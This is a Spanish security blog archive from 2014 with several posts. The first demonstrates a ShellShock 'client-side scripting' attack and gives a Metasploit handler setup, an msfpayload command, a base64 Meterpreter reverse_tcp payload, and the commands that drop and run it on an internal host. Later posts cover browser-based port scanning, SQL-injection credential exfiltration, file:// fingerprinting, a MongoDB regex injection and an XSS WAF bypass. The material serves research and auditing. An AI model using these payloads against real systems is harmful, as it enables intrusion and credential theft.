jueves, 20 de noviembre de 2014

ShellShock Client-Side Scripting Attack: Explotar bugs de ShellShock en sistemas NO publicados a Internet

 

Hace unos días se celebró en Barcelona la conferencia de seguridad informáticaNoConName 2014, una de las conferencias más antiguas y respetadas en la comunidad “hacking” en España. En esta edición, hicimos pública la investigación detallada que realizamos en Eleven Paths sobre la posibilidad de utilizar las técnicas de Javascript Port Scanning para realizar, al menos, enumeración (footprinting yfingerprinting) de recursos internos de una red corporativa o una red doméstica. El trabajo se publicó en un par de artículos llamados Enumeración y explotación de recursos internos mediante Javascript/AJAX (I) y (II):

Figura 1: ShellShock Client-Side Scripting Attack

Enumeración de la red interna de una empresa con visitar una web
Por resumir, el ataque es sencillo y podría utilizarse para atacar redes internas inyectando un JavaScript malicioso en una página web. Esto podría hacerse, por ejemplo, en un entorno de JavaScript Botnet para hacer ataques dirigidos. La "víctima” visitará una página web especialmente modificada para iniciar el ataque y el atacante recibirá información privada de la red desde el propio navegador web de la víctima. En la siguiente presentación tenéis un resumen del trabajo completo que expusimos.

Figura 2: Network profiling based on HTML tags injection

La investigación profundiza en cómo es posible en la actualidad, utilizar este ataque en la mayor parte de navegadores web en diversos sistemas operativos, siendo posible enumerar direcciones IP internas vivas, puertos abiertos, cualquier tipo de servicio o software con interfaz web, enumeración de dominios, detección de impresoras, UPS, routers, etcétera. Al final, se demuestra como un navegador web puede ser utilizado como una herramienta de pentesting sin que el usuario víctima lo sepa. Estas técnicas son plenamente funcionales independientemente de si el navegador web está actualizado, o no, o de los permisos con los que se ejecute en el sistema operativo de la víctima ya que sería necesario aplicar medidas de fortificación extras en el navegador web para mitigar el ataque descrito.
Los resultados anteriores son suficientemente significativos, no obstante, existen otros vectores de ataque basados en este tipo de técnicas que son peligrosos y relativamente sencillos de explotar. Merece la pena pararse a pensar un poco en esto porque ... ¿suelen los equipos de seguridad actualizar las tecnologías vulnerables que no son visibles directamente en Internet? ¿estará actualizado nuestro CMS interno en una organización? ¿se ha aplicado el último parche al WordPress, Joomla o Drupalde la Intranet? ¿Está el firmware de nuestro router doméstico actualizado? ¿Es segura la aplicación interna de nuestra empresa que da acceso a la base de datos?
Explotar Shellshock en un equipo interno desde el navegador de otro
Para demostrar lo sencillo que resulta vulnerar equipos de una red interna, simplemente aprovechándose del hecho que una víctima en la misma red visite una página web determinada, se mostró en la NoConName una demostración usando el fallo de ShellShock en un ataque que hemos denominado: “ShellShock Client-Side Scripting Attack”. Aunque con un poco de imaginación el lector advertirá que existen “multitud de variantes” y “ataques interesantes” basados en estos mismos principios. El proceso para hacer un Shellshock Client-Side Scripting Attack sería:

1) La víctima está en una red que tiene un equipo vulnerable a la famosavulnerabilidad Shellshock. El equipo vulnerable no es accesible directamente desde Internet.
2) El atacante construye una página web (o modifica una existente) e introduce código HTML/Javascript para enumerar direcciones IP vivas en la red de la víctima y detectar servicios/software/rutas conocidas en esas máquinas.
3) La víctima carga una página web con el “código malicioso”, por ejemplo, con su navegador actualizado Google Chrome.
4) El “código malicioso” detecta para una máquina viva un servicio conocido vulnerable a ShellShock.
Hasta este punto un funcionamiento más o menos normal de footprinting yfingerprinting utilizando la técnica de JavaScript Port Scanning. Seguidamente lo que se va a forzar es que la página web modificada contenga un “exploit” de forma que cuando detecte un servicio vulnerable a Shellshock se le pueda enviar el ataque desde el propio navegador web de la víctima. Una vez explotado el bug, qué realizar con el equipo vulnerable depende de la imaginación del atacante.

Figura 3: Esquema de ataque ShellShock Client-Side Scripting Attack

A continuación, demostraremos cómo es posible explotar el fallo, introducir una consola en el equipo vulnerable - usando un meterpreter de Metasploit -  y devolver una conexión inversa al atacante. De esta forma, tendremos acceso a la máquina que no estaba visible desde Internet y habremos saltado, en muchas configuraciones reales, la seguridad perimetral existente en la red que da acceso a la red interna, incluso aunque haya configurados cortafuegos o zonas DMZ especiales.
ShellShock Client-Side Scripting Attack: Paso a paso

a) Configuración de listener de reverse-shell: El atacante utiliza el framework Metasploit para configurar la máquina que recibirá la información del equipo vulnerado. Para ello, pone a la escucha un handler en el puerto 4444 al que le va a llegar la conexión inversa del payload que se ejecutará en el equipo vulnerable. En el ejemplo que viene a continuación se muestra en un entorno local.
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.56.101
set lport 4444
exploit
b) Creación del payload de ShellShock: El atacante crea el “payload” que se quiere ejecutar en la máquina vulnerable. Para ello, se utiliza msfpayload creando un payload con “meterpreter/reverse_tcp” en codificación base64 para facilitar su envío en peticiones HTTP.
msfpayload linux/x86/meterpreter/reverse_tcp lhost=IP_ATACANTE lport=4444 X > p.bin && chmod 755 p1.bin && cat p1.bin | base64
c) Nuestro payload:
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1torBAKDWgCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E=
d) Ejecución de exploit: El navegador de la víctima que ha cargado la página web con el payload, lanzará el “exploit” utilizando Javascript/AJAX a las máquinas/servicios vulnerables en la red interna.

Figura 4: Ejecución del exploit desde el navegador de la víctima

La tecnología CORS (Cross-Origin Resource Sharing) alertará de esta situación en el navegador web - se puede ver en modo depuración - pero no impide que la petición sea realizada.
e) Ejecución del payload en la víctima: En el ejemplo de la demo, el payload desarrollado explotará un CGI vulnerable a Shellshock en la máquina interna vulnerable. Las acciones que realizamos son:
1. Payload en base64 se vuelca a un fichero en el sistema vulnerable:
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1towKg4A2gCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= > /tmp/p2.bin
2. Se descodifica el bas64 y se vuelca el binario a otro fichero
/usr/bin/base64 -d /tmp/p2.bin > /tmp/p1.bin
3. Se le da permisos de ejecución al payload
/bin/chmod 755 /tmp/p1.bin
4. Se ejecuta el payload
/tmp/p1.bin
d) Ejecución de meterpreter: La máquina/servicio vulnerable al ejecutar el payload devuelve un meterpreter al handler controlado por el atacante fuera de su red interna.

Figura 5: Recepción de la shell de Meterpreter de la víctima en la consola de Metasploit

En función de los permisos con los que se ejecute el CGI vulnerable, seremos administrador de la máquina o necesitaremos elevación de privilegios. En cualquier caso, se simplificará notablemente el acceso a la red interna y en la práctica hacernos con el control de mucha información y de la propia red.

Como se ha de suponer, se debe prestar atención a las diferentes formas de fortificar nuestros navegadores web evitando el máximo posible de opciones. Desde hace años existe un peligro real de que simplemente visitando una página web con cualquier navegador web actualizado la red de nuestra empresa esté en riesgo, por lo que cuantas más capas de seguridad internas y externas se apliquen, mejor que mejor.


Autores:
Dr. Alfonso Muñoz
Eleven Paths. Escritor del libro de Criptográfica RSA (@mindcrypt & @criptored)
Ricardo Martín
Security & Quallity Assurance Engineer en Eleven Paths (@ricardo090489)

Enumeración y explotación de recursos internos mediante Javascript/AJAX (y II)

 

Veamos la segunda parte de la entrada anterior en la que se describirán nuevos escenarios de explotación y un escenario de ataque. En ella, observamos que es factible identificar recursos internos en una red corporativa o doméstica si un usuario visita una página web determinada. El navegador de la víctima enviará la información detectada al atacante, típicamente vía JavaScript/AJAX. En resumen, enumeramos recursos internos desde el exterior saltando las medidas de seguridad perimetral, toda la información se fuga vía protocolo HTTP desde un usuario legítimo de una organización.
Explotación y escenario de ataque
Esta técnica tiene un gran potencial, no solo por el hecho de permitir la enumeración, sino sobre todo, por aprovechar la propia enumeración para realizar ataques de explotación desde el exterior utilizando el navegador web de la víctima que visita la página web "maliciosa". Existen muchos tipos de ataques posibles. A continuación se expone un ataque diferente al expuesto en la NoConName y que muestra la flexibilidad a la hora de atacar sistemas.
Un usuario (víctima1) que utiliza navegador web Chrome (WebRTC) actualizado en su última versión, visita una página web (atacante). Este hecho desencadena la enumeración de direcciones IP vivas y la identificación de productos vulnerables a través de la identificación de rutas conocidas:

  • Wordpress: wp-admin/images/w-logo-blue.png
  • Moodle: /theme/standardwhite/favicon.ico

Se identificará en la red un CMS (víctima2) vulnerable a una inyección SQL. El atacante utilizará a la víctima1 para inyectar el "exploit" en la víctima2 y conseguir extraer las credenciales de la base de datos al exterior. La víctima2 comunicará la información a la víctima1 y esta al atacante (otras configuraciones son posibles).

Esquema de ataque

El exploit creado es muy sencillo. Consiste en la introducción en la página web visitada de un iframe con la inyección SQL y además una etiqueta HTML concreta que se concatenara con los resultados obtenidos de la base datos. Estos datos son leídos de la tabla "test" de una base de datos MySQL, que es accesible a través de una aplicación vulnerable a SQL y que simplificará la comunicación de estos datos al exterior.
Ejemplo de exploit

Nótese que se codifica en hexadecimal la etiqueta:

Una vez ejecutada la inyección en la víctima2, la víctima1 tendrá en su iframe una etiqueta de tipo img por cada credencial (name, passwd) extraída de la base de datos. La ejecución de estas etiquetas permitirá el envío de las credenciales al atacante.

Detalle del código JavaScript del exploit

Conclusiones
La técnica de enumeración basada en el comportamiento temporal o de carga de un navegador web cuando localiza recursos, puede ser utilizada en la actualidad con gran provecho. Especialmente reseñable es su funcionamiento en cualquier navegador actual en su última versión y la posibilidad de utilizar el propio navegador web como si de una herramienta más de pentesting se tratará, identificando recursos internos y facilitando la explotación de vulnerabilidades, como puede deducirse evitando medidas de seguridad perimetral clásicas.
Hoy, el único remedio contra estos ataques es buscar mitigaciones en la configuración de los navegadores web (por defecto deshabilitadas), limitando la ejecución de código JavaScript/AJAX o definiendo políticas que limiten la acción de contenido cargado desde Internet.
* Enumeración y explotación de recursos internos mediante Javascript/AJAX (I)

Dr. Alfonso Muñoz

alfonso.munoz@11paths.com
@mindcrypt

Ricardo Martín

ricardo.martínz@11paths.com
@ricardo090489

Enumeración y explotación de recursos internos mediante Javascript/AJAX (I)

 
En 2006, el investigador Jeremiah Grossman presentó en la conferencia de seguridad informática BlackHat, un estudio sobre la posibilidad de utilizar los tiempos de respuesta de un navegador web, cuando busca un recurso concreto, para obtener información privada de una red corporativa. Un recurso no deja de ser algo tan sencillo como por ejemplo una ruta que apunta a una imagen de un servidor web. Lo interesante de este ataque es que un recurso puede ser cosas tan variadas como una dirección IP, un nombre de dominio, un recurso web compartido, etc. La utilización de este tipo de recursos permite enumerar servicios y tecnologías presentes en el entorno donde se ejecute la página web especialmente modificada.
La idea es sencilla, utilizando una o más etiquetas HTML (por ejemplo una etiqueta "IMG"), en una página web modificada, se podría apuntar a un "recurso" y mediante JavaScript se podría detectar si el recurso se ha encontrado (el navegador ha recibido respuesta rápida) o no (el temporizador del navegador expira para la búsqueda de ese recurso).

Desde 2006 se han publicado diversos resultados del potencial de esta técnica con ciertas variantes, por ejemplo, con HTML5 o CSS. Por desgracia, las investigaciones publicadas carecen de la suficiente información para evaluar si estos procedimientos funcionan en entornos reales (diferentes navegadores web, diferentes sistemas operativos, redes heterogéneas, etc.) y bajo qué condiciones.
Con el objetivo de evaluar la utilidad de esta técnica presentamos un estudio en la conferencia NoConName 2014 que se celebró en Barcelona del 31 al 1 de noviembre. En ella presentamos nuestras conclusiones sobre el potencial de este tipo de técnicas, cuál es su utilidad en entornos reales y lo más importante: cómo puede ser utilizada de múltiples formas para vulnerar recursos internos de una organización o red doméstica que no son visibles desde Internet.
La investigación "Network Profiling based on HTML tags injection" realizada por el Dr. Alfonso Muñoz y Ricardo Martín muestra algunos resultados destacables.
Idea
Una víctima visita una página web vulnerable (especialmente creada o que contiene un código JavaScript añadido) con su navegador web actualizado. Este hecho provocará fuga de información interna evitando cualquier protección de seguridad perimetral.
¿Qué podemos hacer?
Identificar sistemas operativos de una red, escaneo de red, puertos, enumeración de software/hardware de red, identificación de impresoras, routers, UPS, enumeración de dominios, etc.
Etiquetas HTML útiles y navegadores web actuales
Existen diversas etiquetas HTML que pueden ser utilizadas para apuntar a los recursos deseados. Las pruebas indican que este tipo de ataques son plenamente funcionales en los navegadores web actuales. Por ejemplo, para los navegadores actuales en Windows 8.1 se puede observar que:

Tiempos en el acceso a recursos
La mayoría de navegadores web (en función del sistema operativo donde se ejecuten) tendrán un temporizador similar, es decir, definirán un tiempo máximo de espera a que el "recurso" conteste. Este tiempo viene fijado por el timeout de la conexión TCP establecido en el sistema operativo. En el caso de Windows 8.1 será de 21 segundos.

Si la máquina donde reside el recurso "emite" una respuesta, esta se producirá inmediatamente en unas pocas decenas o centenas de milisegundos (abre conexión o rechaza conexión). Si no se recibe respuesta del recurso, el navegador web esperará hasta que venza el timeout de 21 segundos o 7 segundos en el caso de IE. Este comportamiento es replicable, con otros valores de timeout, a otros sistemas operativos.
Indirectamente, estos timeouts, si se comunican desde la víctima al atacante, permitirían además obtener más información sobre el tipo de sistema operativo que utiliza la víctima que ha visitado la página web modificada.

Comparativa de timeouts entre dos sistemas operativos al visitar diferentes recursos

Enumeración de red. Equipos y topología
Con la técnica analizada se puede descubrir información privada de una red a través de nombres/urls/rutas conocidas o que se puedan predecir mediante un diccionario. Por ejemplo, software de red, impresoras, nombres de dominio, etc. Un caso especialmente interesante es la posibilidad de utilizar los navegadores web (en este caso el navegador web de la víctima) como si de una herramienta de pentesting se tratara. En concreto, demostrar cómo mediante una página especialmente modificada es posible generar un comportamiento similar a ejecutar la herramienta nmap en la red interna pero desde una página web que se carga desde Internet y que no tiene acceso a la red interna. Este comportamiento es especialmente significativo a la hora detectar IPs "vivas" y puertos abiertos.

A la izquierda los resultados con Chrome, a la derecha, con Zenmap

En general los tiempos de respuesta variarán en función del sistema operativo de la máquina a escanear y del puerto que analicemos:

  • Equipos Windows: es necesario lanzar contra puertos "abiertos" para saber si la IP está activa (se recibe respuesta rápida)
  • Equipos Linux (Ubuntu): si la IP existe el puerto responde rápido (esté abierto o no [RST])
  • Dispositivos móviles Android o Iphone: si IP existe el puerto responde rápido (esté abierto o no [RST])
  • Dispositivos móviles Windows Phone: es necesario lanzar peticiones contra puertos "abiertos" para saber si la IP está activa.

Actualmente es posible escanear con libertad puertos superiores al 1024. En función del navegador web, por debajo de este valor será más o menos difícil escanear ciertos puertos porque los navegadores introducen medidas de port banning. Cada navegador implementa diferentes políticas en este sentido. Internet Explorer es más laxo que Firefox o Chrome.
A la hora de detectar cuál es el rango de red interna de la víctima, es mucho más eficaz conocer el rango de la red de antemano. Si el navegador web utiliza WebRTC (Firefox y Chrome) será sencillo obtener su IP interna (en la red corporativa o doméstica) y por tanto afinar en el escaneo de su rango. Si no fuera así se deberían escanear los diferentes rangos de red con "fuerza bruta".
WebRTC (Web Real-Time Communication) es una API que está siendo elaborada por la World Wide Web Consortium (W3C) para permitir a las aplicaciones del navegador realizar llamadas de voz, chat de vídeo y uso compartido de archivos P2P sin plugins. WebRTC sufre un "leak" conocido que permite conseguir la IP local del sistema atacado. Para comprobarlo, basta con visitar esta dirección con la prueba de concepto: http://net.ipcalf.com/.
En la próxima entrada veremos la parte de explotación y escenarios de ataque.
* Enumeración y explotación de recursos internos mediante Javascript/AJAX (y II)

Dr. Alfonso Muñoz

alfonso.munoz@11paths.com
@mindcrypt
Ricardo Martín

ricardo.martínz@11paths.com
@ricardo090489

martes, 16 de septiembre de 2014

Fingerprinting with local HTML files

 

  1. Inicio
  2. La Idea
  3. Inconvenientes
  4. Pruebas
    • Firefox
    • IExplorer
    • Chrome
    • Safari
  5. Más ideas
  6. Planteamiento del ataque

 

Inicio

El tema del siguiente articulo como bien dice el titulo se trata de la recopilación de información del sistema mediante un fichero HTML que se encuentre almacenado en local.

Esta técnica que hago pública pretende ser una alternativa a la recopilación de información de un sistema mediante un tipo de fichero no comúnmente utilizado para este fin, que va a resultar menos sospechoso que un binario, evidentemente esta técnica no se puede comparar con la cantidad de información que puede recabar otras herramientas spyware pero como bien digo es una alternativa.

La idea

La idea básicamente es utilizar el esquema URI ‘file://’ para apuntar mediante una etiqueta HTML a un recurso de la maquina en la que se abre el fichero HTML y apoyándose en Javascript, más concretamente en los eventos o en el tiempo de retardo de los mismo o en la ausencia de estos, poder identificar si ese recurso existe o no, más delante se detallará más este concepto.

Inconvenientes

  • Javascript: Puede ser que se esté bloqueando la ejecución de Javascript en la página web que recoge la información del sistema.
  • Esquema URI ‘file://’: El inconveniente de este esquema URI es que no puede ser utilizado si la aplicación web que lo utiliza para hacer referencia a un fichero la brinda un servidor web, o lo que es lo mismo, solo se puede utilizar si la aplicación web que utiliza este esquema URI se abre desde la máquina de la víctima.

Pruebas

Con IExplorer es posible detectar los recursos internos de un sistema en el ejemplo siguiente, detectar los directorios de aplicaciones cuando el evento Javascript onLoad no es llamado, es decir que cuando un recurso no existe el evento onLoad es llamado y por el contrario cuando existe no lo es.

En la imagen que se muestra a continuación se puede ver una lista que se determinar cómo se ha explicado antes, dependiendo de si el navegador no llama al evento onLoad cuando se haga referencia a un directorio existente mediante un iframe.

<iframe src=”file://C:/” onLoad=”alert(‘NO EXISTE’)”>

clip_image001

Con Firefox al contrario que con IExplorer es posible determinar de si el directorio al que se apunta existe SI el evento onLoad es llamado.

<iframe src=”file://C:/” onLoad=”alert(‘EXISTE’)”>

clip_image003

Como conclusión para IExplorer y Firefox se puede decir según las imágenes que es posible determinar: el lenguaje del sistema, el hardware en base al software instalado, software instalado, antivirus, sistema operativo, por fuerza bruta usuarios en el sistema, directorios compartidos, unidades de disco, etc.

Para Chrome no es tan fácil ya que no se puede en base a eventos determinar nada ya que los eventos son llamados existan o no los directorio utilizando iframe, sin embargo si se puede determinar los directorios con grandes cantidades de ficheros y subdirectorios en base al tiempo de retraso en el renderizado de los mismos.

En el siguiente ejemplo se apunta a cinco directorios que no existen y a seis que si, como se puede apreciar los que si existen y que además tienen gran cantidad de elementos tardan mucho más en llamar al evento onLoad que va a servir para calcular el tiempo entre la creación del iframe y el final de la cargar del recurso.

clip_image005

Por ultimo hablar sobre el tratamiento de Safari que cuando la etiqueta apunta a un directorio desde un iframe, el funcionamiento de este se traducía en lanzar un explorador de Windows apuntando al directorio que se había establecido en el atributo src del iframe, entonces dejando de lado la posibilidad de detectar los directorios de forma discreta lo que quedaba era realizar un ataque que se basa en añadir una cantidad ingente de iframe apuntando a directorios existentes del sistema por ejemplo a la unidad C: con ello se consigue que el escritorio de la víctima se vea inundado de ventanas del explorador de Windows.

Más ideas

Estos problemas de eventos, ausencias de ellos o retraso en los mismos, o como sucede con Safari que abre un explorador de Windows, no suceden cuando se apunta a imágenes u otro tipo de ficheros según el tipo de etiqueta utilizada.

<img src="file://C:/test.pngs" onload="alert('existe')">

<img src="file://C:/no-existe.pngs" onload="alert('existe')">

Funcional en Chrome, IExplorer, Safari, Firefox.

De esta forma se podría realizar un script que además de apuntar a directorios apuntase a imágenes, css, js etc para obtener más información del sistema.

Planteamiento del ataque

Y para acabar el articulo exponer un simple escenario de ataque donde intervienen un atacante(1) que envía un correo donde adjunta un fichero HTML(2) que va a recabar información del sistema de la víctima y este enviara a un panel de control(3) toda esa información donde a posterior visualizara el atacante.

clip_image007

martes, 9 de septiembre de 2014

Tip para inyecciones en Mongo DB

 

En auditorías donde nos encontramos ante bases de datos NOSQL como puede ser Mongo DB uno de los problemas con los que nos solemos encontrar al igual que con bases de datos SQL es el filtrado de los parámetros enviados, este filtrado con la idea de combatir inyecciones se suele centrar en el remplazo o escapado de caracteres como las comillas simples o las dobles y las backslash, pero como veremos en este artículo a veces cuando nos encontramos ante ciertas situaciones es posible sin necesidad de escapar los caracteres entre los que se encuentra enjaulado el parámetro existe posibilidad de obtener todos los resultados de una colección.

En el ejemplo siguiente, si se estuviesen filtrando caracteres como las comillas simples o las dobles y las backslash no podríamos inyectar otra instrucción

{ "ip" : " Parámetro_enviado_por_GET "}

clip_image001

Sin embargo si nos encontrásemos con un escenario como el siguiente que aun no siendo tan común es posible, no sería necesario escapar los caracteres anteriormente mencionados para poder armar una buena en la auditoría por ejemplo listando todos los resultados de la colección.

{ "ip" : { $regex: ' Parámetro_enviado_por_GET ', $options: 'i' }}

Y es que como veremos a continuación, basta con añadir dos caracteres que raramente son tenidos en cuenta a la hora de filtrar los datos de entrada a la aplicación

clip_image002

Así de sencillo dos puntos o cualquier otro carácter y un asterisco y como se aprecia nos devuelven todos los resultados de la colección, en este caso 50, así que ya sabéis chavales añadid un caracter cualquiera y un asterisco a vuestros diccionarios de inyecciones que os pueden dar una grata sorpresa en vuestras auditorías, a mí me la dio, ya que me devolvieron todos los usuarios y sus datos de la colección ordenaditos en una tabla, que más se puede pedir.

miércoles, 3 de septiembre de 2014

DS_Store Analyzer Online

 

Bueno para los que no lo sepan los ficheros DS_Store son originales de los sistemas Mac OS que están ocultos, y se encarga el propio Finder de crearlos con información del tipo de vista, iconos, columnas, etc, aparece la configuración de la personalización del directorio donde se ha creado, además de los nombres de los ficheros y directorios que cuelgan de él y por este detalle desde el punto de vista de la seguridad existe una fuga de información, ya que los usuarios incautos al mover directorios en un Mac OS a su servidor web accesible por cualquiera revela ficheros y directorios que tal vez no podrían listarse de otra forma. Hace algún tiempo hice una tool en Java y en C# para obtener nombres de ficheros y directorios ocultos en los ficheros .DS_Store, ya por fin traigo una aplicación online para analizar estos ficheros que encuentro en mis auditorías.

Lo cierto es que hacía tiempo que andaba con la idea de hacerla online pero por una cosa u otra además por lo cansado que termino cuando llego del curro pues la he ido dejando aparcada, al final aprovechando mis vacas en Fuerteventura me he puesto y la he terminado.

image
Imagen1: DS_Store Analyzer Online

La característica más interesante a remarcar de la aplicación, es la cantidad de patrones de búsqueda utilizados para encontrar los nombres de los ficheros y directorios en el archivo DS_Store.

Patrones de búsqueda: Ilo, icg, lg1, moD, ph1, lsv, vSr.

Más adelante mi intención es tener la opción de devolver los resultados en XML o JSON.

Y sin más les dejo el enlace

http://disaster-lab.itsm3.com/ds_store.php

miércoles, 25 de junio de 2014

XSS con Double URL Encode

Después de tanto tiempo sin postear nada, traigo un XSS de esos que tan pocos se encuentran y que merecen de una entrada en el blog, ando liado y es cierto que no posteo hace mucho, igual voy encontrándome con casos extraños en el curro y los voy guardando para cuando tenga tiempo darle salida, como lo estoy haciendo hoy con este como poco ‘raro’ XSS.

Bueno, deciros que esta inyección se encuentra en un path ya sabéis mod_rewrite, como ya he venido haciendo otras veces por confidencialidad el enlace es cambiado completamente tanto el dominio, como el resto, que luego deis con él dorkeando jeje.

http://www.xxxxxx.com/imagenes/michyb/

image

Como se puede ver la cadena ‘michyb’ aparece en el HTML devuelto, en la etiqueta TITLE, en la etiqueta META dentro del atributo CONTENT y dentro de un DIV, pero el problema con el que me veo no se soluciona escapando de un atributo de una etiqueta si no como aparece en el título de la entrada se trata de hacerle un ‘double url encode’ para poder explotar una inyección XSS. Para ello nos vamos a centrar en la etiqueta DIV y vamos a ver cómo reacciona la web ante estos caracteres <d>.

clip_image004

Al inyectar <d> nos da un error ‘404 Not Found’ esto tiene pinta de tener implementado algún WAF. Después de esta prueba realice dos pruebas más para ir averiguando de qué se trataba.

www.xxxxx.com/imagenes/michyb>/

www.xxxxx.com/imagenes/<michyb/

En los dos casos, el primero para conocer si se trataba del carácter > y el segundo para el <, en las dos pruebas me devolvía un 200 como ‘Status Code’, con lo cual no se trataba de alguno de estos caracteres por separado, así que me decidí por probar un ‘double url encode’.

1 encode: %3Cmichyb%3E

2 encode: %253Cmichyb%253E

Con ‘double url encode’ la inyección en la URL quedaría así y como se ve en la respuesta nos devuelve un 200 en el ‘Status Code’

http://www.xxxxx.com/imagenes/%253Cmichyb%253E/

clip_image006

Y Bingo!! Como se ve en el HTML devuelto de la respuesta se encuentra la cadena <michyb> y con ello logramos saltarnos el WAF e incluir etiquetas de cualquier tipo.

image

Así que lo último que queda es probar el mítico ‘alert’ que de veracidad de la explotación, para ello tuve que tener en cuenta que cualquier inyección no era válida ya que es una inyección en el path y no puede llevar ningún ‘slash’ ya que lo trataría como otro directorio. Así pues me decidí por un <a href=javascript:alert('Hacked!') >Michyb y el resultado fue.

clip_image010

Saludos y hasta la próxima.